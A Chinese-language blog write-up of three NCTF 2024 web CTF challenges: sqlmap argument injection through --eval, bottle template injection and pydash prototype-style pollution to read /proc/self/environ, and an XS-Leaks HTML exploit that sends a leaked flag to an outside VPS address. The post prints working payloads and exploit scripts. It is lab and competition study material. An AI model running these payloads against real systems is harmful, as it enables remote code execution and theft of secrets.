Featured image of post 2024NCTF复现

2024NCTF复现

NCTF2024复现

sqlmap-master

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from fastapi import FastAPI, Request
from fastapi.responses import FileResponse, StreamingResponse
import subprocess

app = FastAPI()

@app.get("/")
async def index():
    return FileResponse("index.html")

@app.post("/run")
async def run(request: Request):
    data = await request.json()
    url = data.get("url")
    
    if not url:
        return {"error": "URL is required"}
    
    command = f'sqlmap -u {url} --batch --flush-session'

    def generate():
        process = subprocess.Popen(
            command.split(),
            stdout=subprocess.PIPE,
            stderr=subprocess.STDOUT,
            shell=False
        )
        
        while True:
            output = process.stdout.readline()
            if output == '' and process.poll() is not None:
                break
            if output:
                yield output
    
    return StreamingResponse(generate(), media_type="text/plain")

由于shell=False不能进行常规的命令注入

但是仔细观察可以发现我们还是可以控制 sqlmap 的参数, 即参数注⼊

查看GTFOBins: https://gtfobins.github.io/gtfobins/sqlmap/

image-20250325213005769

可以用eval参数来执行python代码

由于shell设置为false我们不能用单双引号,不然就变成eval字符串了

payload

1
127.0.0.1:8000 --eval __import__('os').system('env')
1
127.0.0.1 --eval=print(__import__('os').popen('env').read())

或者用转编码的方式

1
127.0.0.1:8000 --eval exec(bytes.fromhex('5F5F696D706F72745F5F28276F7327292E73797374656D2827656E762729'))
1
127.0.0.1:8000 --eval=exec(__import__('base64').b64decode('aW1wb3J0IG9zOyBwcmludChvcy5nZXRlbnYoJ0ZMQUcnKSk='))

或者-c参数读环境变量

image-20250325214624892

1
127.0.0.1:8000 -c /proc/self/environ

ez_dash&ez_dash_revenge

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
'''
Hints: Flag在环境变量中
'''


from typing import Optional


import pydash
import bottle



__forbidden_path__=['__annotations__', '__call__', '__class__', '__closure__',
               '__code__', '__defaults__', '__delattr__', '__dict__',
               '__dir__', '__doc__', '__eq__', '__format__',
               '__ge__', '__get__', '__getattribute__',
               '__gt__', '__hash__', '__init__', '__init_subclass__',
               '__kwdefaults__', '__le__', '__lt__', '__module__',
               '__name__', '__ne__', '__new__', '__qualname__',
               '__reduce__', '__reduce_ex__', '__repr__', '__setattr__',
               '__sizeof__', '__str__', '__subclasshook__', '__wrapped__',
               "Optional","func","render",
               ]
__forbidden_name__=[
    "bottle"
]
__forbidden_name__.extend(dir(globals()["__builtins__"]))

def setval(name:str, path:str, value:str)-> Optional[bool]:
    if name.find("__")>=0: return False
    for word in __forbidden_name__:
        if name==word:
            return False
    for word in __forbidden_path__:
        if path.find(word)>=0: return False
    obj=globals()[name]
    try:
        pydash.set_(obj,path,value)
    except:
        return False
    return True

@bottle.post('/setValue')
def set_value():
    name = bottle.request.query.get('name')
    path=bottle.request.json.get('path')
    if not isinstance(path,str):
        return "no"
    if len(name)>6 or len(path)>32:
        return "no"
    value=bottle.request.json.get('value')
    return "yes" if setval(name, path, value) else "no"

@bottle.get('/render')
def render_template():
    path=bottle.request.query.get('path')
    if path.find("{")>=0 or path.find("}")>=0 or path.find(".")>=0:
        return "Hacker"
    return bottle.template(path)
bottle.run(host='0.0.0.0', port=8000)

预期是利用pydash实现污染bottle.TEMPLATE_PATH,读取环境变量

但是最后只过滤bottle的花括号,上次ghctf用<% %>绕过过滤,这里同样可以,实现非预期了

因为题目上来就是404,打abort回显

1
2
3
4
<% from bottle import abort
from subprocess import getoutput
a=getoutput("env")
abort(404,a) %>
1
2
3
/render?path=
<%%20from%20bottle%20import%20abort%0afrom%20subprocess%20import%20getoutput%
0aa=getoutput("env")%0aabort(404,a)%20%>

预期解

正常来说render路由只会渲染文件,不能渲染字符串

我们跟进bottle.template函数看看

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
def template(*args, **kwargs):
    """
    Get a rendered template as a string iterator.
    You can use a name, a filename or a template string as first parameter.
    Template rendering arguments can be passed as dictionaries
    or directly (as keyword arguments).
    """
    tpl = args[0] if args else None
    for dictarg in args[1:]:
        kwargs.update(dictarg)
    adapter = kwargs.pop('template_adapter', SimpleTemplate)
    lookup = kwargs.pop('template_lookup', TEMPLATE_PATH)
    tplid = (id(lookup), tpl)
    if tplid not in TEMPLATES or DEBUG:
        settings = kwargs.pop('template_settings', {})
        if isinstance(tpl, adapter):
            TEMPLATES[tplid] = tpl
            if settings: TEMPLATES[tplid].prepare(**settings)
        elif "\n" in tpl or "{" in tpl or "%" in tpl or '$' in tpl:
            TEMPLATES[tplid] = adapter(source=tpl, lookup=lookup, **settings)
        else:
            TEMPLATES[tplid] = adapter(name=tpl, lookup=lookup, **settings)
    if not TEMPLATES[tplid]:
        abort(500, 'Template (%s) not found' % tpl)
    return TEMPLATES[tplid].render(kwargs)

可以发现如果tpl如果含有\n、{、%、$的能够加入TEMPLATES[tplid],后续能够直接渲染它,否则会将其作为模板的名字,尝试寻找对应的模板文件渲染,而tpl是我们传入的第一个参数

它会根据TEMPLATE_PATH里去找到:

1
2
3
4
TEMPLATE_PATH = ['./', './views/']
TEMPLATES = {}
DEBUG = False
NORUN = False  # If set, run() does nothing. Used by load_app()

跟进lookup找到一个search方法

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
@classmethod
    def search(cls, name, lookup=None):
        """ Search name in all directories specified in lookup.
        First without, then with common extensions. Return first hit. """
        if not lookup:
            raise depr(0, 12, "Empty template lookup path.", "Configure a template lookup path.")

        if os.path.isabs(name):
            raise depr(0, 12, "Use of absolute path for template name.",
                       "Refer to templates with names or paths relative to the lookup path.")

        for spath in lookup:
            spath = os.path.abspath(spath) + os.sep
            fname = os.path.abspath(os.path.join(spath, name))
            if not fname.startswith(spath): continue
            if os.path.isfile(fname): return fname
            for ext in cls.extensions:
                if os.path.isfile('%s.%s' % (fname, ext)):
                    return '%s.%s' % (fname, ext)

它会去搜索TEMPLATE_PATH下的文件(应该),理论上只需要污染TEMPLATE_PATH就能够做到任意文件读取

但是高版本的pydash不能直接通过__globals__去获得bottle,在pydash 5.1.2版本中能够使用__globals__,但是高版本下已经被修复了,现在会报access to restricted key __globals__

因此我们要想办法绕过restricted key

去查看源码,在helpers.py下面找到

1
2
3
4
def _raise_if_restricted_key(key):
    # Prevent access to restricted keys for security reasons.
    if key in RESTRICTED_KEYS:
        raise KeyError(f"access to restricted key {key!r} is not allowed")

可以发现该异常只有输入在RESTRICTED_KEYS中的内容时才会触发

又看到这一行

1
RESTRICTED_KEYS = ("__globals__", "__builtins__")

理论上可以通过pydash自己污染掉RESTRICTED_KEYS从而使用globals:

1
2
3
4
{
    "path":"helpers.RESTRICTED_KEYS",
    "value":[]
}

污染成功后再污染TEMPLATE_PATH即可:

1
2
3
4
5
6
7
8
{
    "path":"__globals__.bottle.TEMPLATE_PATH",
    "value":[
        "./",
        "./views/",
        "/proc/self"
    ]
}

或者直接

1
2
3
4
5
6
{
    "path":"__globals__.bottle.TEMPLATE_PATH",
    "value":[
        "/proc/self"
    ]
}

最后用render路由渲染environ就行了

1
/render?path=environ

用bp一步步改可以,注意下面传参是json格式

image-20250326194353496

image-20250326194432372

image-20250326194500302

或者直接上脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
import requests,re

url = "http://39.106.16.204:55285/"
a1 = requests.post(url+"setValue?name=pydash",json={"path": "helpers.RESTRICTED_KEYS","value":[]})
print(a1.text)
a2 = requests.post(url+"setValue?name=setval",json={"path": "__globals__.bottle.TEMPLATE_PATH","value":["/proc/self"]})
print(a2.text)
a3 = requests.get(url+"/render?path=environ")
print(a3.text)
pattern = r'NCTF\{[0-9a-fA-F-]+\}'
match = re.search(pattern, a3.text)

if match:
    print("找到的FLAG:", match.group())
else:
    print("未找到FLAG")

internal_api

题目给了hint

1
2
注意 search 路由查询成功和失败 (Ok 和 Err) 时返回的 HTTP 状态码
XSLeaks

附件是一个rust写的search api

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
pub async fn private_search(
    Query(search): Query<Search>,
    State(pool): State<Arc<DbPool>>,
    ConnectInfo(addr): ConnectInfo<SocketAddr>,
) -> Result<Json<Vec<String>>, AppError> {
    // 以下两个 if 与题目无关, 你只需要知道: private_search 路由仅有 bot 才能访问

    // 本地环境 (docker compose)
    let bot_ip = tokio::net::lookup_host("bot:4444").await?.next().unwrap();
    if addr.ip() != bot_ip.ip() {
        return Err(anyhow!("only bot can access").into());
    }

    // 远程环境 (k8s)
    // if !addr.ip().is_loopback() {
    //     return Err(anyhow!("only bot can access").into());
    // }

    let conn = pool.get()?;
    let comments = db::search(conn, search.s, true)?;

    if comments.len() > 0 {
        Ok(Json(comments))
    } else {
        Err(anyhow!("No comments found").into())
    }
}

/internal/search 路由仅允许 bot 访问, 同时其 db::search 的第三个参数传入了 true, 代表允许搜索 hidden comments (flag)

如果能搜到 comments, 返回 OK() (200), 否则返回 Err() (500)

我们要让bot去访问private_search查询flag,另外一个路由/report派上了用场,/report能够让bot去访问你提供的一个链接,因此可以尝试通过report来访问private_search

xsleaks可以用于探测用户敏感信息,可以使用的场景较少,需要满足:

  • 页面存在xss
  • 不同用户查询的结果集不同,并且有一个类似flag的字符串
  • 网站存在一个模糊查找功能
  • 构成二元结果并且能够成功探测到

而题目中满足的条件有:

环境出网,bot可以访问自己的vps链接,可以导致xss admin可以查到flag,而我们只能够查到普通评论 查询成功时状态码是200,不存在该结果时返回结果500(题目提示的注意http状态码,可以通过burp抓包查询简单看到) 存在模糊查询(具体看SQL语句有LIKE进行模糊匹配)

这是一个很经典的 XSLeaks 题目, 根据 https://xsleaks.dev/, 结合以上不同的 HTTP 状态码, 可以利用 onload 和 onerror 事件 leak flag

1
查询成功200,查询失败500,可以通过onloadonerror事件区分onload时能够fetch自己的vps发送请求带出flag(类似盲注的思路)

写一个html的exp在vps上起一个服务,然后vps起个监听(要用python的监听)

1
python3 -m http.server 2333

在题目的report路由访问vps下的html文件

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<script>
    function probeError(flag) {
        let url = 'http://127.0.0.1:8000/internal/search?s=' + flag;

        let script = document.createElement('script');
        script.src = url;
        script.onload = () => {
            fetch('http://47.122.53.248:2333/?flag=' + flag, { mode: 'no-cors' });
            leak(flag);
            script.remove();
        };
        script.onerror = () => script.remove();
        document.head.appendChild(script);
    }

    let dicts = 'abcdefghijklmnopqrstuvwxyz0123456789-{}';

    function leak(flag) {
        for (let i = 0; i < dicts.length; i++) {
            let char = dicts[i];
            probeError(flag + char);
        }
    }

    leak('nctf{');
</script>

image-20250326220913698

Licensed under 9u_l3
使用 Hugo 构建
主题 StackJimmy 设计